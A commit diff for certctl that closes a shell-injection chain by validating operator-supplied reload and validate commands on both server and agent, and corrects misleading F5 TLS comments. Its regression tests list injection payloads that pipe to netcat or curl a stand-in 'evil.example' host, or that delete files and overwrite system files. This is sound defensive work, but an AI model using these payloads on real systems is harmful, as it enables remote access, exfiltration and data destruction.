fix(security): close BUNDLE 1 — server+agent connector config validation chain

Bundle 1 closure (2026-05-12 acquisition diligence audit). Closes the
acquisition-blocker chain: target.edit (default r-operator grant per
migrations/000029_rbac.up.sql:196) → arbitrary reload_command stored
without validation → agent createTargetConnector json.Unmarshal-only
→ sh -c on agent host. README's 'shell injection prevention on all
connector scripts' claim is now true at the chain level.

Server-side: new internal/connector/target/configcheck package + a
configcheck.Validate call in target.go::Create + ::Update +
::CreateTarget + ::UpdateTarget (all 4 entry points). Rejects shell
metacharacters in reload_command / validate_command / restart_command
for nginx, apache, haproxy, postfix/dovecot, javakeystore, ssh. Sentinel
errors.Is(err, service.ErrInvalidConnectorConfig) available for handler
400 mapping. Non-shell connector types (F5, IIS, Caddy, Traefik, Envoy,
cloud targets, K8s) are no-ops by design.

Agent-side: defense-in-depth connector.ValidateConfig(ctx, configJSON)
call in cmd/agent/main.go inserted between createTargetConnector and
DeployCertificate. This catches (a) configs pre-dating the server gate,
(b) encrypted-blob tampering, (c) per-connector filesystem invariants
that the server can't check.

F5 (S2 finding): proven docs-vs-code drift, not a security bug. The
applyDefaults function never set Insecure=true; runtime default has
always been Go zero-value (false → TLS verified). Three lying 'default
true' comments in f5/f5.go (lines 30, 45-47, 126) rewritten to match
actual code behavior.

Docs (C4 + C9): README L12 + L68 narrowed — 'any CA / any server' →
'Twelve native CA connectors plus an OpenSSL adapter; fifteen native
deployment-target connectors plus a proxy-agent pattern.' 'Every deploy
goes through atomic-write + ...' narrowed to file-based connectors with
inline link to per-target guarantee matrix. New deployment-model.md §1.6
ships a 15-target × 8-property guarantee table covering atomic write /
owner-perms / SHA-256 idempotency / pre-deploy snapshot / on-failure
rollback / post-deploy TLS verify / Prometheus counters / shell-injection
validation — including the K8s preview honesty marker (CLAIM-H4).

Tests: internal/connector/target/configcheck/configcheck_test.go covers
14 shell-injection payloads (semicolon, pipe, backtick, dollar-paren,
redirect, and-chain, newline, double-quote, escape, dollar-var) × 7
shell-using connectors + benign-command acceptance + non-shell no-op
behavior + empty config + malformed JSON. All pass.

Verification (run from /sessions/gifted-blissful-pasteur/mnt/cowork/certctl):
  go fmt ./...              # clean (no diffs)
  go vet ./...              # clean (no findings)
  go test -short -count=1 ./internal/... ./cmd/...
                            # 60+ packages all ok, zero FAIL

Audit-Closes: BUNDLE-1 RT-C1 SEC-M4 CLAIM-M2 CLAIM-L3
Audit-Verifies-False: S2 (F5 'default insecure' was a comment lie, code was always secure)
This commit is contained in:
shankar0123
2026-05-12 23:48:08 +00:00
parent 96d4b1e623
commit d60a0ac297
7 changed files with 403 additions and 9 deletions
+2 -2
View File
@@ -9,7 +9,7 @@
[![GitHub Release](https://img.shields.io/github/v/release/certctl-io/certctl)](https://github.com/certctl-io/certctl/releases) [![GitHub Release](https://img.shields.io/github/v/release/certctl-io/certctl)](https://github.com/certctl-io/certctl/releases)
[![GitHub Stars](https://img.shields.io/github/stars/certctl-io/certctl?style=flat&logo=github)](https://github.com/certctl-io/certctl/stargazers) [![GitHub Stars](https://img.shields.io/github/stars/certctl-io/certctl?style=flat&logo=github)](https://github.com/certctl-io/certctl/stargazers)
certctl is a self-hosted platform that automates the entire TLS certificate lifecycle, from issuance through renewal to deployment, with zero human intervention. It works with any certificate authority, deploys to any server, and keeps private keys on your infrastructure where they belong. Free, source-available under BSL 1.1, covers the same lifecycle that enterprise platforms charge $100K+/year for. certctl is a self-hosted platform that automates the entire TLS certificate lifecycle, from issuance through renewal to deployment, with zero human intervention. Twelve native CA connectors plus an OpenSSL / shell-script adapter for custom CAs; fifteen native deployment-target connectors plus a proxy-agent pattern for network appliances and agentless targets. Private keys stay on your infrastructure where they belong. Free, source-available under BSL 1.1, covers the same lifecycle that enterprise platforms charge $100K+/year for.
The CA/Browser Forum's [Ballot SC-081v3](https://cabforum.org/2025/04/11/ballot-sc081v3-introduce-schedule-of-reducing-validity-and-data-reuse-periods/) caps public TLS certificates at **200 days by March 2026**, **100 days by 2027**, and **47 days by 2029**. At 47-day lifespans, a team managing 100 certificates is processing 7+ renewals per week, every week, forever. Manual workflows stop being a choice. The CA/Browser Forum's [Ballot SC-081v3](https://cabforum.org/2025/04/11/ballot-sc081v3-introduce-schedule-of-reducing-validity-and-data-reuse-periods/) caps public TLS certificates at **200 days by March 2026**, **100 days by 2027**, and **47 days by 2029**. At 47-day lifespans, a team managing 100 certificates is processing 7+ renewals per week, every week, forever. Manual workflows stop being a choice.
@@ -65,7 +65,7 @@ Built for **platform engineering and DevOps teams** managing 10 to 500+ certific
certctl handles the full certificate lifecycle in one self-hosted control plane: certctl handles the full certificate lifecycle in one self-hosted control plane:
- **Issue and renew** from any CA. Let's Encrypt and any ACME provider, an embedded ACME server you can point cert-manager / certbot / lego at directly, a built-in local CA with sub-CA mode (chains under your enterprise root like ADCS), step-ca, Vault PKI, EJBCA, AWS ACM PCA, Google CAS, DigiCert, Sectigo, GlobalSign, Entrust, plus an OpenSSL / shell-script adapter for anything custom. Twelve native issuer connectors. See the [connector reference](docs/reference/connectors/index.md). - **Issue and renew** from any CA. Let's Encrypt and any ACME provider, an embedded ACME server you can point cert-manager / certbot / lego at directly, a built-in local CA with sub-CA mode (chains under your enterprise root like ADCS), step-ca, Vault PKI, EJBCA, AWS ACM PCA, Google CAS, DigiCert, Sectigo, GlobalSign, Entrust, plus an OpenSSL / shell-script adapter for anything custom. Twelve native issuer connectors. See the [connector reference](docs/reference/connectors/index.md).
- **Deploy automatically** to NGINX, Apache, HAProxy, Caddy, Traefik, Envoy, IIS, Windows Cert Store, Java keystore, Kubernetes Secrets, AWS ACM, Azure Key Vault, SSH known-hosts, Postfix + Dovecot, F5 BIG-IP. Fifteen native target connectors. Every deploy goes through atomic-write + ownership-preservation + SHA-256 idempotency + per-target Prometheus counters + pre-deploy snapshot + on-failure rollback. See [`docs/reference/deployment-model.md`](docs/reference/deployment-model.md). - **Deploy automatically** to NGINX, Apache, HAProxy, Caddy, Traefik, Envoy, IIS, Windows Cert Store, Java keystore, Kubernetes Secrets, AWS ACM, Azure Key Vault, SSH known-hosts, Postfix + Dovecot, F5 BIG-IP. Fifteen native target connectors. File-based targets share an atomic-write + SHA-256 idempotency + on-failure rollback + per-target Prometheus counters primitive (the `deploy.Apply` path covers 12 of 13 file-based connectors). Cloud / API targets (AWS ACM, Azure Key Vault) use vendor-SDK semantics rather than the file primitive; F5 uses iControl REST transactions; Kubernetes Secrets is preview. For the per-target guarantee matrix, see [`docs/reference/deployment-model.md`](docs/reference/deployment-model.md). The reload / validate commands operators configure for shell-using targets (NGINX, Apache, HAProxy, Postfix, JavaKeystore, SSH) are validated server-side AND agent-side against shell-metacharacter injection before execution (see [`internal/connector/target/configcheck`](internal/connector/target/configcheck)).
- **Run as an ACME server** so existing client tooling plugs in directly. RFC 8555 + RFC 9773 ARI, two per-profile auth modes (public-trust-style validation or trust_authenticated for internal PKI), doubly-signed key rollover, revoke-cert on both kid path and jwk path, per-account rate limiting. Cert-manager / certbot / lego all work pointed at it. See [`docs/reference/protocols/acme-server.md`](docs/reference/protocols/acme-server.md). - **Run as an ACME server** so existing client tooling plugs in directly. RFC 8555 + RFC 9773 ARI, two per-profile auth modes (public-trust-style validation or trust_authenticated for internal PKI), doubly-signed key rollover, revoke-cert on both kid path and jwk path, per-account rate limiting. Cert-manager / certbot / lego all work pointed at it. See [`docs/reference/protocols/acme-server.md`](docs/reference/protocols/acme-server.md).
- **Run as a SCEP server** for Microsoft Intune-managed phones, ChromeOS devices, network appliances. RFC 8894 native with full PKIMessage wire format, native Intune challenge dispatch with replay protection, per-profile dispatch with separate RA cert per profile. See [`docs/reference/protocols/scep-server.md`](docs/reference/protocols/scep-server.md). - **Run as a SCEP server** for Microsoft Intune-managed phones, ChromeOS devices, network appliances. RFC 8894 native with full PKIMessage wire format, native Intune challenge dispatch with replay protection, per-profile dispatch with separate RA cert per profile. See [`docs/reference/protocols/scep-server.md`](docs/reference/protocols/scep-server.md).
- **Run as an EST server** for HTTPS-based PKCS#10 enrollment. 802.1X / Wi-Fi authentication, IoT device enrollment, RFC 9266 channel binding. See [`docs/reference/protocols/est.md`](docs/reference/protocols/est.md). - **Run as an EST server** for HTTPS-based PKCS#10 enrollment. 802.1X / Wi-Fi authentication, IoT device enrollment, RFC 9266 channel binding. See [`docs/reference/protocols/est.md`](docs/reference/protocols/est.md).
+20
View File
@@ -699,6 +699,26 @@ func (a *Agent) executeDeploymentJob(ctx context.Context, job JobItem) {
return return
} }
// Bundle 1 / RT-C1 closure (2026-05-12): defense in depth. The server
// runs internal/connector/target/configcheck.Validate on the way IN
// (Create/Update), and rejects shell metacharacters in command-bearing
// fields. Re-run the connector's full ValidateConfig here on the way
// OUT, before any DeployCertificate call. This catches (a) configs
// that pre-date the server-side guard, (b) corruption/tampering of
// the encrypted config blob, and (c) per-connector filesystem
// invariants (cert dir exists, paths writable) that the server can't
// check because the filesystem is on the agent host.
if err := connector.ValidateConfig(ctx, job.TargetConfig); err != nil {
a.logger.Error("connector config validation failed",
"job_id", job.ID,
"target_type", job.TargetType,
"error", err)
if reportErr := a.reportJobStatus(ctx, job.ID, "Failed", fmt.Sprintf("%s config validation failed: %v", job.TargetType, err)); reportErr != nil {
a.logger.Error("failed to report job status to server", "job_id", job.ID, "status", "Failed", "error", reportErr)
}
return
}
deployReq := target.DeploymentRequest{ deployReq := target.DeploymentRequest{
CertPEM: certOnly, CertPEM: certOnly,
KeyPEM: keyPEM, KeyPEM: keyPEM,
+40
View File
@@ -28,6 +28,46 @@ a single shared primitive:
This document describes the operator-visible surface. The Go-level This document describes the operator-visible surface. The Go-level
contract lives at `internal/deploy/doc.go`. contract lives at `internal/deploy/doc.go`.
## 1.6. Per-target guarantee matrix
Added 2026-05-12 (Bundle 1 / CLAIM-M2 closure). The README previously
claimed "every deploy goes through atomic-write + ownership-preservation
+ SHA-256 idempotency + per-target Prometheus counters + pre-deploy
snapshot + on-failure rollback." That claim is true for the file-based
deploy primitive only. Cloud / API targets use vendor-SDK semantics and
do not share the same primitive. This matrix is the authoritative
per-target answer.
Legend: ✓ = supported / always on. ✗ = not applicable to this target
family. ◐ = partial / vendor-specific equivalent. preview = ships but
the production code path is a stub (see CLAIM-H4).
| Target | Atomic write | Owner/perms preserved | SHA-256 idempotency | Pre-deploy snapshot | On-failure rollback | Post-deploy TLS verify | Prometheus counters | Server+agent shell-injection validation |
|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| NGINX | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Apache | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| HAProxy | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Caddy | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ (no operator commands) |
| Traefik | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ |
| Envoy | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ |
| Postfix / Dovecot| ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| SSH known-hosts | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ (no TLS endpoint) | ✓ | ✓ |
| JavaKeystore | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ (file format, no socket) | ✓ | ✓ |
| IIS | ◐ (Windows cert store API) | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ |
| WinCertStore | ◐ (Windows cert store API) | ✓ | ✓ | ✓ | ✓ | ✗ | ✓ | ✗ |
| F5 BIG-IP | ✓ (iControl REST transaction) | ✗ (no FS) | ◐ (cert object name) | ◐ (transaction rollback) | ✓ (transaction rollback) | ✓ (mgmt API GET) | ✓ | ✗ |
| AWS ACM | ✗ (SDK call) | ✗ (no FS) | ◐ (ACM-side replace) | ✗ | ◐ (re-import old ARN) | ✗ | ✓ | ✗ |
| Azure Key Vault | ✗ (SDK call) | ✗ (no FS) | ◐ (KV-side versioning) | ✗ | ◐ (KV versioning) | ✗ | ✓ | ✗ |
| Kubernetes Secrets | preview | preview | preview | preview | preview | preview | preview | ✗ |
**Notes on the matrix:**
- **Atomic write / owner-perms / SHA-256 idempotency / snapshot / rollback** are properties of the shared `deploy.Apply` primitive in `internal/deploy/`. They apply to file-based targets where certctl writes to disk.
- **Cloud / API targets** (AWS ACM, Azure Key Vault) use the vendor SDK's import / replace operation. The vendor handles versioning and atomicity at their layer. certctl tracks the operation outcome via Prometheus counters; "rollback" in this row means "re-import the previous cert ARN" rather than the file-primitive's `os.Rename` rollback.
- **F5** uses iControl REST transactions for atomicity (deploy-hardening I docs above). It does not touch a filesystem; the snapshot/rollback semantics live in the F5 transaction protocol.
- **Kubernetes Secrets** ships but the production client (`realK8sClient`) returns `"real Kubernetes client not implemented"` for all methods (see `internal/connector/target/k8ssecret/k8ssecret.go:395+`). Operators evaluating against a real cluster should treat this connector as preview until the production client lands.
- **Server+agent shell-injection validation** (Bundle 1 / RT-C1 closure 2026-05-12) is on for every connector that accepts operator-supplied command strings: `reload_command`, `validate_command`, `restart_command`. Validation runs at API ingestion (`internal/service/target.go::Create` + `::Update` + `::CreateTarget` + `::UpdateTarget` via `internal/connector/target/configcheck`) AND on the agent before deploy (`cmd/agent/main.go` post-`createTargetConnector`, calling each connector's full `ValidateConfig` method). Connectors that do not accept operator shell strings (Caddy / Traefik / Envoy / cloud targets) skip this check by design.
## 1.5. Audit closure status (2026-05-02 deployment-target audit) ## 1.5. Audit closure status (2026-05-02 deployment-target audit)
The 2026-05-02 deployment-target coverage audit The 2026-05-02 deployment-target coverage audit
@@ -0,0 +1,149 @@
// Package configcheck provides server-side syntactic validation of target
// connector configurations.
//
// Bundle 1 / RT-C1 closure (2026-05-12). Before this package existed, the API
// path (POST/PUT /api/v1/targets) accepted arbitrary `config` JSON without
// invoking any connector's ValidateConfig method. The agent then fetched the
// stored config and executed reload_command / validate_command strings via
// `sh -c` (see internal/connector/target/{nginx,apache,postfix,haproxy,javakeystore,ssh}/...go).
// Net result: an actor with `target.edit` (default on r-operator role per
// migrations/000029_rbac.up.sql:196) could store a shell-injecting config
// and pop the agent host on next deploy.
//
// This package fixes the SERVER side. It is intentionally narrow:
//
// - It only validates fields that are dangerous at execution time:
// reload_command, validate_command, restart_command, and equivalent.
// - It runs validation.ValidateShellCommand on those fields and rejects
// any shell metacharacter ; | & $ ` ( ) { } < > \ " ' \n \r \x00 .
// - It does NOT do filesystem checks (cert directory exists, etc.).
// Those live on the agent in each connector's ValidateConfig method
// because the relevant filesystem lives on the agent, not the server.
//
// The agent-side defense in depth remains: cmd/agent/main.go calls
// connector.ValidateConfig(ctx, configJSON) after createTargetConnector
// returns and before DeployCertificate. So even if server-side validation
// were bypassed, the agent would still reject the shell-injecting config
// before executing it.
package configcheck
import (
"encoding/json"
"fmt"
"github.com/certctl-io/certctl/internal/validation"
)
// Validate runs server-side syntactic validation against the supplied
// target-config JSON. It returns nil for any unknown targetType (the type
// validity gate is owned by service.isValidTargetType — this function is
// only responsible for the dangerous-field check on known shell-using types).
//
// targetType must match the canonical type strings used by the agent's
// createTargetConnector switch in cmd/agent/main.go (NGINX, Apache, HAProxy,
// Postfix, JavaKeystore, SSH). Other types (F5, IIS, Caddy, Traefik, Envoy,
// AWSACM, AzureKeyVault, KubernetesSecrets, WinCertStore) do not accept
// operator-supplied command strings in their config and are no-ops here.
//
// Per-connector struct shapes are intentionally duplicated as minimal
// anonymous structs here to avoid importing every connector package into
// the service layer. The full Config structs live in the per-connector
// packages and are loaded by the agent at deploy time.
func Validate(targetType string, configJSON json.RawMessage) error {
if len(configJSON) == 0 {
return nil
}
switch targetType {
case "NGINX":
return validateNginx(configJSON)
case "Apache":
return validateApache(configJSON)
case "HAProxy":
return validateHAProxy(configJSON)
case "Postfix", "Dovecot":
return validatePostfix(configJSON)
case "JavaKeystore":
return validateJavaKeystore(configJSON)
case "SSH":
return validateSSH(configJSON)
}
// Other target types do not accept operator-supplied command strings.
return nil
}
// shellCmdConfig captures the dangerous fields shared by every shell-using
// connector. Specific connector configs may have additional fields not
// listed here; we only validate the subset that flows into sh -c.
type shellCmdConfig struct {
ReloadCommand string `json:"reload_command,omitempty"`
ValidateCommand string `json:"validate_command,omitempty"`
RestartCommand string `json:"restart_command,omitempty"`
}
func (c *shellCmdConfig) checkAll(targetType string) error {
if c.ReloadCommand != "" {
if err := validation.ValidateShellCommand(c.ReloadCommand); err != nil {
return fmt.Errorf("%s reload_command: %w", targetType, err)
}
}
if c.ValidateCommand != "" {
if err := validation.ValidateShellCommand(c.ValidateCommand); err != nil {
return fmt.Errorf("%s validate_command: %w", targetType, err)
}
}
if c.RestartCommand != "" {
if err := validation.ValidateShellCommand(c.RestartCommand); err != nil {
return fmt.Errorf("%s restart_command: %w", targetType, err)
}
}
return nil
}
func validateNginx(b []byte) error {
var c shellCmdConfig
if err := json.Unmarshal(b, &c); err != nil {
return fmt.Errorf("NGINX config: invalid JSON: %w", err)
}
return c.checkAll("NGINX")
}
func validateApache(b []byte) error {
var c shellCmdConfig
if err := json.Unmarshal(b, &c); err != nil {
return fmt.Errorf("Apache config: invalid JSON: %w", err)
}
return c.checkAll("Apache")
}
func validateHAProxy(b []byte) error {
var c shellCmdConfig
if err := json.Unmarshal(b, &c); err != nil {
return fmt.Errorf("HAProxy config: invalid JSON: %w", err)
}
return c.checkAll("HAProxy")
}
func validatePostfix(b []byte) error {
var c shellCmdConfig
if err := json.Unmarshal(b, &c); err != nil {
return fmt.Errorf("Postfix/Dovecot config: invalid JSON: %w", err)
}
return c.checkAll("Postfix/Dovecot")
}
func validateJavaKeystore(b []byte) error {
var c shellCmdConfig
if err := json.Unmarshal(b, &c); err != nil {
return fmt.Errorf("JavaKeystore config: invalid JSON: %w", err)
}
return c.checkAll("JavaKeystore")
}
func validateSSH(b []byte) error {
var c shellCmdConfig
if err := json.Unmarshal(b, &c); err != nil {
return fmt.Errorf("SSH config: invalid JSON: %w", err)
}
return c.checkAll("SSH")
}
@@ -0,0 +1,144 @@
// Bundle 1 / RT-C1 closure regression tests (2026-05-12).
//
// Pins the contract that configcheck.Validate rejects shell metacharacters
// in command-bearing fields for every shell-using target connector. If a
// future refactor moves a connector to argv-based execution and removes the
// command-string field from its config struct, the corresponding case here
// can be deleted — but only after the connector is verified no longer to
// call sh -c on operator-controlled strings.
package configcheck
import (
"encoding/json"
"strings"
"testing"
)
// malicious returns a config JSON for the given target type with the named
// field carrying a shell-injection payload. We construct the JSON directly
// to avoid importing the per-connector Config structs into this test (which
// would create the import cycle we explicitly avoid in production code).
func malicious(field, payload string) json.RawMessage {
type cfg struct {
ReloadCommand string `json:"reload_command,omitempty"`
ValidateCommand string `json:"validate_command,omitempty"`
RestartCommand string `json:"restart_command,omitempty"`
// CertPath is included so a partial-shape JSON unmarshals cleanly.
CertPath string `json:"cert_path,omitempty"`
}
c := cfg{CertPath: "/etc/nginx/certs/cert.pem"}
switch field {
case "reload":
c.ReloadCommand = payload
case "validate":
c.ValidateCommand = payload
case "restart":
c.RestartCommand = payload
}
b, err := json.Marshal(c)
if err != nil {
panic(err)
}
return b
}
// benign returns a clean reload_command config for the given target type.
func benign() json.RawMessage {
return json.RawMessage(`{"cert_path":"/etc/nginx/certs/cert.pem","reload_command":"/usr/sbin/nginx -s reload","validate_command":"/usr/sbin/nginx -t"}`)
}
// TestValidate_RejectsShellInjection_AllShellUsingTypes asserts that every
// target type the audit identified as shell-using rejects a shell-injection
// payload in the relevant command field.
func TestValidate_RejectsShellInjection_AllShellUsingTypes(t *testing.T) {
cases := []struct {
name string
targetType string
field string
payload string
}{
// Classic semicolon injection — used as the canonical CVE in the
// 2026-05-12 audit's RT-C1 evidence.
{"NGINX/reload/semicolon", "NGINX", "reload", "service nginx reload; rm -rf /"},
{"NGINX/validate/pipe", "NGINX", "validate", "nginx -t | nc evil.example 4444"},
{"NGINX/reload/backtick", "NGINX", "reload", "service nginx reload `whoami`"},
{"NGINX/reload/dollar-paren", "NGINX", "reload", "service nginx reload $(id)"},
{"NGINX/reload/redirect", "NGINX", "reload", "service nginx reload > /tmp/exfil"},
{"NGINX/reload/and", "NGINX", "reload", "service nginx reload && curl evil.example"},
{"Apache/reload/semicolon", "Apache", "reload", "apachectl graceful; touch /tmp/owned"},
{"Apache/validate/newline", "Apache", "validate", "apachectl -t\nrm -rf /"},
{"HAProxy/reload/semicolon", "HAProxy", "reload", "haproxy -sf $(cat pidfile); curl evil"},
{"Postfix/reload/pipe", "Postfix", "reload", "postfix reload | nc evil.example 1337"},
{"Dovecot/reload/semicolon", "Dovecot", "reload", "doveadm reload; rm /etc/shadow"},
{"JavaKeystore/reload/quote", "JavaKeystore", "reload", `keytool -list "foo`},
{"JavaKeystore/validate/redirect", "JavaKeystore", "validate", "keytool -list > /etc/passwd"},
{"SSH/reload/dollar", "SSH", "reload", "systemctl reload sshd $USER"},
{"SSH/validate/escape", "SSH", "validate", `sshd -t \nrm /etc/ssh`},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
err := Validate(c.targetType, malicious(c.field, c.payload))
if err == nil {
t.Fatalf("Validate(%s, %q): expected error for shell-injection payload, got nil", c.targetType, c.payload)
}
// Error should mention the target type for operator clarity.
if !strings.Contains(err.Error(), c.targetType) && !(c.targetType == "Postfix" || c.targetType == "Dovecot") {
t.Errorf("Validate error %q does not mention target type %s", err, c.targetType)
}
})
}
}
// TestValidate_AcceptsBenignCommands ensures the validator is not so strict
// that it rejects real-world reload/validate commands.
func TestValidate_AcceptsBenignCommands(t *testing.T) {
for _, targetType := range []string{"NGINX", "Apache", "HAProxy", "Postfix", "Dovecot", "JavaKeystore", "SSH"} {
t.Run(targetType, func(t *testing.T) {
if err := Validate(targetType, benign()); err != nil {
t.Fatalf("Validate(%s, benign-config): expected nil, got %v", targetType, err)
}
})
}
}
// TestValidate_NonShellTargetTypes_AreNoOps ensures that non-shell-using
// target types (F5, IIS, K8s, AWS ACM, etc.) pass through without error
// even when given a config that looks like a command field. These connectors
// do not accept operator-supplied command strings; the audit-event burden of
// being a shell sink lives on the explicit list above.
func TestValidate_NonShellTargetTypes_AreNoOps(t *testing.T) {
payload := malicious("reload", "; rm -rf /")
for _, targetType := range []string{"F5", "IIS", "Caddy", "Traefik", "Envoy", "AWSACM", "AzureKeyVault", "KubernetesSecrets", "WinCertStore", "UnknownNewType"} {
t.Run(targetType, func(t *testing.T) {
if err := Validate(targetType, payload); err != nil {
t.Errorf("Validate(%s, ...): expected nil for non-shell-using type, got %v", targetType, err)
}
})
}
}
// TestValidate_EmptyConfig_IsNoOp pins the contract that an empty config
// (e.g., a connector with no operator-supplied fields) is accepted.
func TestValidate_EmptyConfig_IsNoOp(t *testing.T) {
if err := Validate("NGINX", nil); err != nil {
t.Errorf("Validate(NGINX, nil): expected nil, got %v", err)
}
if err := Validate("NGINX", json.RawMessage{}); err != nil {
t.Errorf("Validate(NGINX, empty): expected nil, got %v", err)
}
}
// TestValidate_MalformedJSON_ReturnsError pins the contract that invalid
// JSON in the config returns a typed error rather than panicking.
func TestValidate_MalformedJSON_ReturnsError(t *testing.T) {
if err := Validate("NGINX", json.RawMessage(`{not valid json`)); err == nil {
t.Errorf("Validate(NGINX, malformed): expected error, got nil")
}
}
+13 -7
View File
@@ -27,7 +27,7 @@ type Config struct {
Password string `json:"password"` // Administrative password Password string `json:"password"` // Administrative password
Partition string `json:"partition"` // F5 partition name (default "Common") Partition string `json:"partition"` // F5 partition name (default "Common")
SSLProfile string `json:"ssl_profile"` // SSL client profile name to update SSLProfile string `json:"ssl_profile"` // SSL client profile name to update
Insecure bool `json:"insecure"` // Skip TLS verification for mgmt interface (default true) Insecure bool `json:"insecure"` // Skip TLS verification for mgmt interface. Default false (TLS verified). Operators with self-signed F5 mgmt certs must explicitly set "insecure": true.
Timeout int `json:"timeout"` // HTTP timeout in seconds (default 30) Timeout int `json:"timeout"` // HTTP timeout in seconds (default 30)
} }
@@ -42,9 +42,14 @@ func (c *Config) applyDefaults() {
if c.Timeout == 0 { if c.Timeout == 0 {
c.Timeout = 30 c.Timeout = 30
} }
// Insecure defaults to true because F5 management interfaces commonly use // Insecure has no override in applyDefaults — runtime default is the Go
// self-signed certificates. See TICKET-016 precedent for InsecureSkipVerify // zero-value (false), which means InsecureSkipVerify=false and TLS is
// documentation. Operators running proper mgmt certs can set insecure=false. // VERIFIED. Operators with self-signed F5 management certs must opt in
// by passing "insecure": true explicitly in the connector config. The
// `S2 (F5 insecure-by-default)` finding from the 2026-05-12 audit was
// based on a misleading legacy comment, not actual code behavior — this
// closure (Bundle 1 / 2026-05-12) corrects the comments to match the
// code default. See TICKET-016 precedent for InsecureSkipVerify framing.
} }
// SSLProfileInfo contains information about an F5 SSL client profile. // SSLProfileInfo contains information about an F5 SSL client profile.
@@ -122,9 +127,10 @@ func New(config *Config, logger *slog.Logger) (*Connector, error) {
Transport: &http.Transport{ Transport: &http.Transport{
TLSClientConfig: &tls.Config{ TLSClientConfig: &tls.Config{
// F5 management interfaces commonly use self-signed certificates. // F5 management interfaces commonly use self-signed certificates.
// InsecureSkipVerify is controlled by the config.Insecure field // InsecureSkipVerify is controlled by config.Insecure (default
// (default true). Operators with proper management certs can set // false → TLS verified). Operators with self-signed mgmt certs
// insecure=false. See TICKET-016 for security rationale. // must opt in by passing "insecure": true in the connector
// config. See TICKET-016 for security rationale.
InsecureSkipVerify: config.Insecure, //nolint:gosec // configurable, documented InsecureSkipVerify: config.Insecure, //nolint:gosec // configurable, documented
}, },
}, },
+35
View File
@@ -8,11 +8,18 @@ import (
"log/slog" "log/slog"
"time" "time"
"github.com/certctl-io/certctl/internal/connector/target/configcheck"
"github.com/certctl-io/certctl/internal/crypto" "github.com/certctl-io/certctl/internal/crypto"
"github.com/certctl-io/certctl/internal/domain" "github.com/certctl-io/certctl/internal/domain"
"github.com/certctl-io/certctl/internal/repository" "github.com/certctl-io/certctl/internal/repository"
) )
// ErrInvalidConnectorConfig is returned by Create / Update / CreateTarget /
// UpdateTarget when configcheck.Validate rejects the target's config JSON
// (e.g., shell metacharacters in reload_command). The HTTP handler should
// map this to 400 via errors.Is. Bundle 1 / RT-C1 closure 2026-05-12.
var ErrInvalidConnectorConfig = errors.New("invalid connector config")
// ErrAgentNotFound is returned by [TargetService.CreateTarget] when the caller // ErrAgentNotFound is returned by [TargetService.CreateTarget] when the caller
// references an agent_id that is empty or does not correspond to a registered // references an agent_id that is empty or does not correspond to a registered
// agent. The handler layer maps this to HTTP 400 via [errors.Is]. See C-002 in // agent. The handler layer maps this to HTTP 400 via [errors.Is]. See C-002 in
@@ -121,6 +128,14 @@ func (s *TargetService) Create(ctx context.Context, target *domain.DeploymentTar
return fmt.Errorf("unsupported target type: %s", target.Type) return fmt.Errorf("unsupported target type: %s", target.Type)
} }
// Bundle 1 / RT-C1 closure: reject shell-metacharacter injection in
// command-bearing config fields BEFORE encryption + storage. Without
// this, target.edit (default r-operator grant) → agent sh -c becomes
// an RCE chain. See internal/connector/target/configcheck/configcheck.go.
if err := configcheck.Validate(string(target.Type), target.Config); err != nil {
return fmt.Errorf("%w: %v", ErrInvalidConnectorConfig, err)
}
if target.ID == "" { if target.ID == "" {
target.ID = generateID("target") target.ID = generateID("target")
} }
@@ -177,6 +192,13 @@ func (s *TargetService) Update(ctx context.Context, id string, target *domain.De
return fmt.Errorf("failed to merge config: %w", err) return fmt.Errorf("failed to merge config: %w", err)
} }
// Bundle 1 / RT-C1 closure: validate the POST-MERGE config to catch
// injection attempts even when the redacted-merge path is used.
// Validation runs on the same bytes that will be encrypted + stored.
if err := configcheck.Validate(string(target.Type), mergedConfig); err != nil {
return fmt.Errorf("%w: %v", ErrInvalidConnectorConfig, err)
}
// Encrypt the merged config // Encrypt the merged config
encrypted, _, encErr := crypto.EncryptIfKeySet(mergedConfig, s.encryptionKey) encrypted, _, encErr := crypto.EncryptIfKeySet(mergedConfig, s.encryptionKey)
if encErr != nil { if encErr != nil {
@@ -299,6 +321,13 @@ func (s *TargetService) CreateTarget(ctx context.Context, target domain.Deployme
return nil, fmt.Errorf("unsupported target type: %s", target.Type) return nil, fmt.Errorf("unsupported target type: %s", target.Type)
} }
// Bundle 1 / RT-C1 closure: reject shell-metacharacter injection in
// command-bearing config fields BEFORE encryption + storage. Mirrors
// Create() above so the HTTP handler entry point is also gated.
if err := configcheck.Validate(string(target.Type), target.Config); err != nil {
return nil, fmt.Errorf("%w: %v", ErrInvalidConnectorConfig, err)
}
// C-002: enforce agent_id FK at service layer so we return a clean 400 // C-002: enforce agent_id FK at service layer so we return a clean 400
// instead of bubbling a Postgres 23503 foreign-key violation out as 500. // instead of bubbling a Postgres 23503 foreign-key violation out as 500.
// The schema (migrations/000001 line 104) declares agent_id TEXT NOT NULL // The schema (migrations/000001 line 104) declares agent_id TEXT NOT NULL
@@ -372,6 +401,12 @@ func (s *TargetService) UpdateTarget(ctx context.Context, id string, target doma
return nil, fmt.Errorf("failed to merge config: %w", err) return nil, fmt.Errorf("failed to merge config: %w", err)
} }
// Bundle 1 / RT-C1 closure: validate the POST-MERGE config (same
// reasoning as Update() above).
if err := configcheck.Validate(string(target.Type), mergedConfig); err != nil {
return nil, fmt.Errorf("%w: %v", ErrInvalidConnectorConfig, err)
}
encrypted, _, encErr := crypto.EncryptIfKeySet(mergedConfig, s.encryptionKey) encrypted, _, encErr := crypto.EncryptIfKeySet(mergedConfig, s.encryptionKey)
if encErr != nil { if encErr != nil {
return nil, fmt.Errorf("failed to encrypt config: %w", encErr) return nil, fmt.Errorf("failed to encrypt config: %w", encErr)